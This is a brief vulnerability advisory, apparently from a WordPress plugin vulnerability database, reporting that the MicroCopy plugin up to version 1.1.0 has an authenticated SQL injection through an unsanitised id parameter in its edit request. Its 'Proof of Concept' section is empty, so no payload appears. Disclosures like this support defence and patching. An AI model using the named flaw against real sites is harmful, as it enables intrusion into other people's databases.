WordPress Plugin Vulnerabilities

MicroCopy <= 1.1.0 - Authenticated SQL Injection

Description

The edit functionality in the plugin makes a get request to fetch the related option. The id parameter used is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

Proof of Concept
